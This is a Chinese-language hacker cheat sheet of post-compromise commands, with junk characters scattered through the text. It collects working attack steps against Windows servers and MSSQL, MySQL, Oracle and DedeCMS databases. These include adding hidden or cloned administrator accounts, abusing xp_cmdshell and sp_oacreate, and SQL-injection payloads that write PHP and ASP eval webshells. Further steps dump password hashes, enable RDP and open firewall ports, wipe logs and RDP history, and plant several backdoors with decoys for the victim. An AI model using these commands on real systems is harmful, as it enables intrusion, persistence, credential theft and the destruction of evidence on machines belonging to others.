* l9 E9 n* `5 j: u& ]% q& q1.net user administrator /passwordreq:no
. Y0 Y9 D* T3 O+ @0 y这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
* d3 Z7 w$ c! z2.比较巧妙的建克隆号的步骤
& p9 d4 V1 P: F b/ V& S# T1 f先建一个user的用户: W2 v: C# w4 I6 K( K
然后导出注册表。然后在计算机管理里删掉* v0 q$ Z7 M7 Y, M
在导入,在添加为管理员组
/ P: g5 A7 }1 d3.查radmin密码# S) T7 f8 J o. t
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
- U* {6 h7 @ a' B4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options], y- _1 f1 f7 P
建立一个"services.exe"的项! G! ?* z+ j1 ^' ~
再在其下面建立(字符串值)& u6 f$ t1 a" w8 e. {; f
键值为mu ma的全路径
# Q5 @( h& @3 a5 ?& m6 T4 W2 i( P5.runas /user:guest cmd) n0 y& }" h. b# i! {
测试用户权限!. e9 f0 K$ o$ W3 i- L* z% J
6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
2 \/ ]7 P0 t: C* o R/ G/ A# A7.入侵后漏洞修补、痕迹清理,后门置放:9 e1 S: F- Q' \/ G, ^- I; S( m5 v
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门; ?0 R2 T3 J: G: U8 T. T' Q
8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c3 \' k7 X- W* X) b' @" u+ `
6 e0 b! O6 B: x' f2 z
for example
( m( G8 l$ p, M3 F9 `
2 o8 B: S* s; odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
/ W$ K( y8 H2 a5 j5 y: z( U. I: }$ P0 ^; K% p0 Z: v" w0 c
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'+ G' k* ]+ {9 d
G& _/ \8 |9 ` e. c9:MSSQL SERVER 2005默认把xpcmdshell 给ON了
( z1 v8 g$ E( b$ l" J如果要启用的话就必须把他加到高级用户模式2 ]5 W3 P" T5 [+ ]! ~' G0 y2 \
可以直接在注入点那里直接注入4 Q4 x: k/ C6 f$ y* T
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
& G- t2 v/ W( C# ^& ?3 E# z, \然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--8 E3 K" O) z5 }
或者2 V+ G" q4 f0 y7 ?+ Y, R* {
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
/ M, J) `% Y# `- C& S1 c# }来恢复cmdshell。/ G3 q% M$ O; P1 E: r
5 ]# D k5 b! _/ U) r" X/ {分析器2 v0 f$ g& |/ `
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--( w- o. y# m3 M0 _4 |
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")' R( h2 O& P- P2 b& F7 \! g S
10.xp_cmdshell新的恢复办法% L& H9 W! Y$ U8 u+ D% W, k" P. |
xp_cmdshell新的恢复办法
- {5 ~9 O0 o( @1 z, o扩展储存过程被删除以后可以有很简单的办法恢复:* Q% U+ k5 G; r4 d) k0 l
删除4 ]# [7 ^" u, K% e! h& S5 B, j4 x2 M" [
drop procedure sp_addextendedproc
7 v7 H; h) n9 s( _- V% r. tdrop procedure sp_oacreate8 o' T& ]+ ^9 B( ?5 }: [/ B+ ^
exec sp_dropextendedproc 'xp_cmdshell'2 ]/ N3 m9 i. _" g& F! y4 S3 k
] ]; s, `" ]; _ b2 l; ^
恢复' d. E8 w( z, c ]8 |
dbcc addextendedproc ("sp_oacreate","odsole70.dll")2 S1 s W& t3 u4 {
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")$ S, D3 H* T# n/ l7 o& b
5 P Z: P. W" n9 k这样可以直接恢复,不用去管sp_addextendedproc是不是存在. r9 t) Q7 |5 o- f7 t) y; R
! i3 A) F1 A; n- b6 g8 P9 v, j) N+ R
-----------------------------2 k/ K& P3 w- E7 A0 o
# x! \) f) i7 B, w1 L3 Y
删除扩展存储过过程xp_cmdshell的语句:6 ]# I; p5 q% Y# e
exec sp_dropextendedproc 'xp_cmdshell'
- X" S# I: l$ `5 y {' K7 n# m
, B! L/ W3 R- F7 s- p p恢复cmdshell的sql语句8 e1 _3 v2 N$ b1 Z0 y( Z
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
8 U" t& |9 ?' z* A* t+ A( D
) n5 M2 c7 Z. |+ {
. w+ m# o1 |. `& z: D# h8 [" u开启cmdshell的sql语句! t& r$ t+ x; p* F2 q7 h2 ?* E
4 P7 S0 d* L- R8 k" A6 G4 T- P
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'" K& _. h: K7 H l
/ \4 d( z/ e3 n% K判断存储扩展是否存在5 W6 n8 R$ F! \1 E
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'* {, m, g5 C& ~$ ~$ G M% `
返回结果为1就ok: c) R1 u7 X7 A; q4 U
( O+ U( w; T( n3 N, K
恢复xp_cmdshell
+ b6 J3 X, k" `7 I, `1 f( Pexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
0 z3 B5 S* Z& G; H+ p返回结果为1就ok
2 X3 B0 K" k* t$ E2 x4 }" U0 M: d! D5 r2 T
否则上传xplog7.0.dll
7 v) m' O/ n) s! |4 h+ _exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'0 S9 b) D% P2 ?, @! c* {0 K9 |
8 \2 L( ^1 _$ m3 D0 j" D2 _
堵上cmdshell的sql语句' b" i( e: U% n6 U8 f1 a! U
sp_dropextendedproc "xp_cmdshel" X1 G; R3 x3 F& o* h
-------------------------5 G" L( p8 v" O8 ~
清除3389的登录记录用一条系统自带的命令:
: I! U& ?) X( w4 A& yreg delete "hkcu\Software\Microsoft\Terminal Server Client" /f6 c; I9 \ _% K
) ]* z! ~& ~8 K然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件; N4 M9 a) L- E# q
在 mysql里查看当前用户的权限
" ]. a; P+ X! a% J6 V/ ~show grants for / f/ D- O9 l* B7 E8 x
; u" Q" \% {8 C以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
* I9 K9 I# D5 M
# ^: E2 T% e& ^4 E! {8 t/ M l
9 a; G2 w! D) l( I% MCreate USER 'itpro'@'%' IDENTIFIED BY '123';
% P4 e+ @7 _4 g6 Z6 Q- i. {6 i5 F5 `. J0 U8 d% k2 m$ ]
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION; m6 Y# y; a" r4 p( c6 O
1 q+ S5 K9 t6 DMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0( i% N) L/ D$ f- ?8 w( K X. E
+ ]3 t0 }5 ?5 E( r. }# l3 `+ @
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
$ z! f5 X; E5 V$ M$ h. ]. `
( \5 |2 |; m6 {- o& d搞完事记得删除脚印哟。: X5 A0 g1 ^" j$ }: X
$ `' c* ?2 F8 v
Drop USER 'itpro'@'%';8 G' C/ n4 X# s. w# e
* w# K% c5 m% F* E) \( B. c% xDrop DATABASE IF EXISTS `itpro` ;5 s- i- a6 ]9 {2 _5 {* f
* N7 k; X- ?8 t o
当前用户获取system权限
2 Z/ S# p1 g& ~; o7 L5 w- lsc Create SuperCMD binPath= "cmd /K start" type= own type= interact, V! B/ r0 ?: Z
sc start SuperCMD* f+ C( l5 J# K7 ~0 }* J$ ~
程序代码
/ x- D# |# M3 V2 }1 Q6 A) h<SCRIPT LANGUAGE="VBScript">' Y4 P9 O. N. b) h+ v: E
set wsnetwork=CreateObject("WSCRIPT.NETWORK"): c6 c3 o8 i1 W3 ?0 B
os="WinNT://"&wsnetwork.ComputerName& G/ F: z4 o$ `) V8 r# J* R4 {( e
Set ob=GetObject(os)
' D! x, o7 q7 D7 {: M3 [Set oe=GetObject(os&"/Administrators,group")
2 T8 @7 g# H4 a8 {) DSet od=ob.Create("user","nosec")0 X$ I! v. S$ ]2 Y1 Q
od.SetPassword "123456abc!@#"4 h/ @. h2 Y$ Z# e1 U6 h3 e/ g: _$ @
od.SetInfo
+ _# `: J4 W4 ]5 |+ g1 E9 PSet of=GetObject(os&"/nosec",user)' n3 G5 N3 {' T/ a8 O: [
oe.add os&"/nosec"
: n$ x' E U* v</Script>3 n H# y; ~* x" D% d
<script language=javascript>window.close();</script>
2 V5 W; U9 l' Z4 w4 g, [# W
* e* R! }4 n8 t' f$ S
A' G4 h w* g; v7 Q. A' ~0 Q6 x, T4 O7 P1 X. L# w( R% L$ {1 t
1 g) o3 M2 X# e突破验证码限制入后台拿shell
6 N8 u% {4 m' i) e1 s, ?* e程序代码" ~. \; i4 m# N
REGEDIT4 ) n5 e) ?/ X2 b5 {
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
$ \9 E/ b6 f- {% q6 s0 n"BlockXBM"=dword:00000000
4 V2 Y/ p" z8 `% s, ^* u- E% M
1 ^1 H: \4 Y+ V- f$ @9 z; o( X; K保存为code.reg,导入注册表,重器IE
% D' m% D! e# ] X m就可以了/ a+ C, D' A% | j' L, i% O
union写马+ `) h; i6 k- X
程序代码4 N2 S, Y& M: }6 w7 ~- ~0 G: g) I, M
www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*% s& D" _* P5 }7 @3 A
' S0 a( ~( O0 s/ [
应用在dedecms注射漏洞上,无后台写马
) F/ G2 a9 f) ]" H% t ^4 C. W' adedecms后台,无文件管理器,没有outfile权限的时候 r) O9 B/ N+ S; s+ C
在插件管理-病毒扫描里
1 ~" B- ~' B2 B' A5 `% I5 n写一句话进include/config_hand.php里
. [* P$ {. f9 ~) T程序代码: y* h* T! z7 H9 n s
>';?><?php @eval($_POST[cmd]);?>
; K$ f' r1 H& n. B1 V" V$ k
& e) h+ _" f& Q, z# N! t" m8 g
; X+ y; `! n# o" T! e- x# P如上格式/ `9 I; z: V- U2 Z
3 _# s5 J2 J+ v) g5 u" coracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解, G2 I" b& F7 j- E, A. `
程序代码5 c5 X) f# A h1 B# e5 w7 d% r
select username,password from dba_users;
$ L- @& L2 ^/ |4 K+ G1 v
1 ~; w0 L/ R6 O( m6 U, F1 {7 _/ t- a$ P: A" L2 H* J$ W
mysql远程连接用户3 F2 k5 u" `9 o4 g# O3 J5 z
程序代码
* N; S/ _4 F5 V9 r Z4 A
; c# P: e4 \( h1 f) A4 c: M8 |, m; vCreate USER 'nosec'@'%' IDENTIFIED BY 'fuckme';$ X3 V: d4 `# [& T
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION( `& q" f- |! e% a+ L
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0+ a* S5 ?* X! ^( n, i. C
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
- D4 R0 P# f2 [$ g9 t" V3 M$ k+ g0 r
2 X7 o } d( F$ A: J* G5 c) s: n3 T8 z" Y& O+ A5 ^
% Z3 p/ E+ J5 W9 v
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0' n: ~( E9 s+ u
( w3 A0 C; ~7 l, w( p
1.查询终端端口
6 Q/ s0 t+ v. _ {- X
4 O0 h& w4 G1 L* E5 K7 |, zxp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber! x% q& l0 s% o1 [ w
' s6 x2 \" R9 p( b( p
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp" M! U, ], a/ M6 U, W: e& J
type tsp.reg
' f' F6 e( @ h) D" x( K4 }! b" @1 O2 J" ^! L$ A
2.开启XP&2003终端服务
' N! Y5 R. ]2 G0 H+ Y$ Z
2 c# F: ?- H9 _' |5 d8 e4 C c7 `) K4 n5 |
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f0 y1 Y+ O6 B) u- r
; C6 J' ]! |( F3 q& _5 \
2 k6 H7 [0 f% sREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
! v% K# X u$ B/ E6 M! v/ N* g6 T' e) q! m
3.更改终端端口为20008(0x4E28)
' c0 v& W! Q5 O# e" {1 y% n# ]( y1 x5 d1 v
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
; l% v8 P* [0 m) z: h5 L
7 z( L/ v% V; S, M1 r/ i7 E" t: t4 \REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
* m! W, J2 F) o, h& V* Q- H* a* Y; s/ O5 u. f( D2 Y! T5 F8 R& h- D
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
* ] ]7 j: [( ] o9 `' v
. i H% h& M; D) ZREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
9 S! g% P0 J1 ~3 ^+ e3 I
# o; {' G( I* w3 z- E$ \1 c' D9 K- ~( @7 y" a4 ^% W6 H
5.开启Win2000的终端,端口为3389(需重启)
8 s# {$ Y5 ~; }& i; A* ^( N9 x# Z' l4 v$ ~ I, z* y
echo Windows Registry Editor Version 5.00 >2000.reg 5 J6 O" W3 l+ b* {9 u* N
echo. >>2000.reg8 v! q# z0 B$ S" _3 r; b
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg
, f8 ?4 A1 B/ a1 {" Iecho "Enabled"="0" >>2000.reg
H, X" D. ]% c8 j' hecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg . \+ I7 Z0 h! U
echo "ShutdownWithoutLogon"="0" >>2000.reg 3 ^9 h( R2 _4 [* _2 I% s
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg
) C3 {4 H j' d* {& _ l$ N4 Techo "EnableAdminTSRemote"=dword:00000001 >>2000.reg 3 ]( H; @+ Z# O. _1 h- F
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg 4 t: a. ~. n- h( M9 u7 N2 D
echo "TSEnabled"=dword:00000001 >>2000.reg ; G+ P' _; [' P5 B" T$ d
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg 1 B' Y# _9 v/ |7 a5 `
echo "Start"=dword:00000002 >>2000.reg
# w: n6 W6 i8 \) S5 H8 _% hecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg + {. ^5 f& i. f# Q/ H4 C, Q
echo "Start"=dword:00000002 >>2000.reg ( b8 V8 j. R) g* N/ m
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg . Y( G6 F- Y; @0 o5 Z e/ _5 t
echo "Hotkey"="1" >>2000.reg
- h8 b3 L6 i( T$ A0 v: Yecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg % a s5 o x7 J% c8 Q
echo "ortNumber"=dword:00000D3D >>2000.reg
5 r" |; ?6 I, @( N$ s* |* x+ O+ x( mecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg , K5 A9 m" O- P$ W2 K& K7 J
echo "ortNumber"=dword:00000D3D >>2000.reg
; o8 Z1 g [) p
& z: Q# |0 s1 Y; s6 G6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
' \$ s9 p, d. L5 X( y8 H/ z5 ?% q( A/ W& k0 d* e7 x
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
2 Y6 B) @ \. d(set inf=InstallHinfSection DefaultInstall)
* x( Q8 g5 g/ f* iecho signature=$chicago$ >> restart.inf! U: y5 ~% ~8 w8 I
echo [defaultinstall] >> restart.inf: H+ L# g3 `# d8 c0 G9 o
rundll32 setupapi,%inf% 1 %temp%\restart.inf
0 ~9 R0 h% O: z6 J% {9 ]* n) @
# k0 ^. n$ {) J% J+ p" m( q8 v# L0 x0 N# V
7.禁用TCP/IP端口筛选 (需重启): Q8 c; k" e( u
$ y7 K4 b" k& H! T/ I& }. B1 c9 _REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
7 B. v8 O+ p* J6 W! U1 A6 r) g
/ i1 D! ~: T- ~$ _8.终端超出最大连接数时可用下面的命令来连接! t2 _- z8 x% ~
4 ?/ H+ a3 c: G" H2 n- \, P8 Jmstsc /v:ip:3389 /console9 M+ E# a# W9 S+ r2 y
* l/ H3 v. A: a9.调整NTFS分区权限
9 T$ J$ L$ E! O
. }2 i, x; k8 }+ h {; _" H2 V, Rcacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
5 m- \ q" o1 o$ b. L
; Y% E0 r0 {9 F4 X, U6 l: vcacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
1 c7 h- c* l* \5 C/ c# \0 S
0 M4 J/ ^( Z1 G5 d------------------------------------------------------! Y4 @1 Z4 `6 E9 @! B
3389.vbs ) C1 l8 U* b, A
On Error Resume Next
( U* r* E& u7 U, J) M* [- {const HKEY_LOCAL_MACHINE = &H80000002
% A/ s' l3 j" LstrComputer = "."
/ H1 f; _; m% A" s* Z+ [Set StdOut = WScript.StdOut
. f0 Y& p+ _* k5 ^0 l# G! y& pSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ l9 _1 C* ?& k0 d! P
strComputer & "\root\default:StdRegProv")
# P( z, z, r; m( T) @3 r, ^, ystrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server". K/ i( m; C" g/ F' a/ L
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
& O8 q" V* [ Y' y, B0 P# w7 j; tstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"0 I) y0 V1 w( t/ }
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
8 `& h5 f1 y6 j# z$ ZstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
6 P( r5 A4 a9 `+ K2 cstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"6 ^* s+ L- M6 m. A2 c& h% [! z
strValueName = "fDenyTSConnections"% ]; X+ @+ \/ o8 t9 r* c3 t
dwValue = 0( e" I4 K) O) u. j% U! M, m
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
1 d# G7 D$ h* Z" e/ {1 B: ]strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"! }. `$ m0 w; o g' V, Z* H
strValueName = "ortNumber", d: u# I9 Z: v2 t0 ?
dwValue = 3389
9 k7 w. T( u3 X7 @oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
+ W( }4 ~" j' y: y8 B3 n& ustrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"* o0 e. J4 G! p% @ t
strValueName = "ortNumber"; `& o2 s6 Q: F* D
dwValue = 3389
1 A' w# u- M* J7 D8 I; Woreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
' I7 \0 Q4 i1 ~, _Set R = CreateObject("WScript.Shell")
- c8 j. ^. Y: r7 M& wR.run("Shutdown.exe -f -r -t 0") 8 D5 f2 c! l2 N6 z1 {
4 n: a2 B9 G/ `5 G' ~4 m
删除awgina.dll的注册表键值
) o4 b! T7 t; c' ?' ~ C程序代码
0 j- U8 z2 {7 H5 R& l( h9 N6 o4 j
3 L& t: E/ R7 ?4 y+ N5 [4 b8 Rreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f/ O" e, f, I9 j$ y
* K0 x1 x; g Q5 u8 A, d y7 y3 D+ j/ X" o6 z9 B0 G B
; y7 a' G' Q/ S# \
( o7 p9 f0 O' d8 h程序代码
3 c+ I# m0 t) N; c0 P# K! WHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash: [; b% u- A$ Y2 D
6 S% B2 v+ d( K设置为1,关闭LM Hash! M; J: G* h9 f2 }6 p8 J9 b
- z+ [1 T5 w! c0 w( C |; I* a
数据库安全:入侵Oracle数据库常用操作命令
( |# j: x5 d' Z) K7 T) `* X! ^最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。. `4 c! l, Z- a V6 E6 y
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。6 a+ z; X U0 v2 D7 ]
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;" F' k, c' F4 D. |; `- u2 t
3、SQL>connect / as sysdba ;(as sysoper)或
3 M7 D- q I8 l7 |* m% E" X# jconnect internal/oracle AS SYSDBA ;(scott/tiger)
0 N4 U3 s$ b' g, G! Xconn sys/change_on_install as sysdba;8 G3 m5 L# } y' Z8 W$ W
4、SQL>startup; 启动数据库实例
[6 x# Y+ Z9 M7 I$ x5 ^5、查看当前的所有数据库: select * from v$database;1 s7 H3 J0 P4 X& {; p- a" R
select name from v$database;
9 P, c$ W) p' D( `6、desc v$databases; 查看数据库结构字段
1 I& C0 S1 F" q' N7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
$ F- Y* r/ t$ o$ k3 `SQL>select * from V_$PWFILE_USERS;
1 q; P; P; {4 y& U* l" OShow user;查看当前数据库连接用户
9 L/ K [8 K. r- i2 Y, j8、进入test数据库:database test;9 y! j. I: M7 o- R
9、查看所有的数据库实例:select * from v$instance;- \8 O: V8 I7 X
如:ora9i. `! G) s. Z! F; W
10、查看当前库的所有数据表:
$ e& Q9 m1 |3 W; kSQL> select TABLE_NAME from all_tables;8 h6 c1 b, a. y' }4 B
select * from all_tables;; s Q. Z( q9 x( P6 W1 s' s
SQL> select table_name from all_tables where table_name like '%u%';
% h& ]# Y7 Q) s+ q- MTABLE_NAME
' o- q- a! y$ f------------------------------
7 U s" j9 d1 i/ J% G_default_auditing_options_. a, i& \) u* _3 R' ^3 Q b
11、查看表结构:desc all_tables;
/ F& p" w% v4 X8 q3 I12、显示CQI.T_BBS_XUSER的所有字段结构:
, H# a6 U1 ]5 I( idesc CQI.T_BBS_XUSER;
, c5 a$ ] A Z" B13、获得CQI.T_BBS_XUSER表中的记录:1 b# u4 X6 ]1 i3 _; G' S
select * from CQI.T_BBS_XUSER;- K& p! w Y$ A3 A9 a9 H
14、增加数据库用户:(test11/test)2 @5 i- H. P' O1 Y9 b) V
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
( s) ]" E5 {& k; C; m$ U15、用户授权:9 N# H& j' @+ g4 q! x( t
grant connect,resource,dba to test11;
' D' F7 N6 A: l- A; h- wgrant sysdba to test11;
: q, l: `# C2 U1 d8 acommit;
( o! g# v' z+ h2 k1 [16、更改数据库用户的密码:(将sys与system的密码改为test.)9 Z/ R! E/ I( k4 m# B
alter user sys indentified by test;6 f2 {' }% G8 B6 M
alter user system indentified by test;
3 {4 m8 E9 t+ a& S) ^2 K1 U/ e7 p* I( p! K! x3 b( z
applicationContext-util.xml7 @* T. S+ ]2 R' X6 x; M
applicationContext.xml2 @; b T* _* H+ A( [5 D4 I
struts-config.xml' O& H2 \4 M$ _0 R- M: d( }% @& u+ D8 [
web.xml
! \7 n: }: }- S: w- `% ?server.xml
' U" n" `: U# a0 v% otomcat-users.xml+ o* V, Y8 n1 E9 h
hibernate.cfg.xml# O. k( U4 P- u- M% F
database_pool_config.xml
* p8 v @. v! Y' h+ M" h3 t& {" x! N& Y6 g$ B) j0 k) T7 ^
( i$ r4 b4 C" d7 y! S4 |/ o* X6 q\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
5 p0 ]$ b& W5 i7 J- m$ c\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini
; g( V8 f" g: R' @\WEB-INF\struts-config.xml 文件目录结构5 B- T0 D+ O+ W3 O6 z8 b
/ S9 P- Q$ b/ J- _: z! k; e
spring.properties 里边包含hibernate.cfg.xml的名称
b7 Q+ Z8 ]/ K0 b( ^" H! `* F9 l% l$ r3 f: A1 M! _5 [
I H4 r: R3 RC:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
- i1 R7 G; D& t
9 G! {7 S; R6 T如果都找不到 那就看看class文件吧。。9 l# Z8 U; j0 q3 v/ G
9 o( k& t: B! q# _7 ~
测试1:
! B0 T$ |1 ]3 s5 t) ASELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t18 U O2 b! l2 M- y, z/ E
4 A) N( m& K9 v. A
测试2:
7 U2 I; w7 X5 @* ^3 S% I7 ~# N) L
! |% G8 p6 S6 J+ p- a5 v! acreate table dirs(paths varchar(100),paths1 varchar(100), id int)4 V" o: u* B, K. a1 F/ @) h
4 H3 X) h2 G- zdelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
# {+ T. @4 _9 s, n4 s1 @7 S7 U% t) w
- b) v1 Q* j4 H6 `; M; K1 a. rSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t14 q$ e3 x' Z6 j, i% L1 j
* p7 g3 @; ~, b6 R3 \2 _& ^' _) u
查看虚拟机中的共享文件:, p2 q: i1 y( E5 b; G& Z. Q
在虚拟机中的cmd中执行4 ^1 \5 z1 v; u& g) U* Y
\\.host\Shared Folders b, @& E, o, r4 G8 |& w) ^
H) D( ?3 F2 T o: z
cmdshell下找终端的技巧6 J" ~0 `/ l5 P4 N, |" {
找终端:
; e5 @- `8 O- u P0 k第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! 7 ]1 [2 {4 S2 {7 @: j
而终端所对应的服务名为:TermService $ l9 j6 X9 Z O0 {, I6 S
第二步:用netstat -ano命令,列出所有端口对应的PID值!
6 t' Z( U- v4 @. [$ B+ K. r5 _ 找到PID值所对应的端口
% Q/ U7 G! `0 {% G) y1 i" D
, i) N2 k& H, N9 ~查询sql server 2005中的密码hash; a4 l, q0 L% K* H
SELECT password_hash FROM sys.sql_logins where name='sa'2 `0 r. }6 I( }0 M
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
& d' N3 H& q# L3 ]; w2 Q/ Gaccess中导出shell
% ^' {% P' C7 r- }' G5 B# c9 i6 n. K* f+ B* t7 d
中文版本操作系统中针对mysql添加用户完整代码:
, W t2 [% u- h# M0 V' S9 w" b2 e
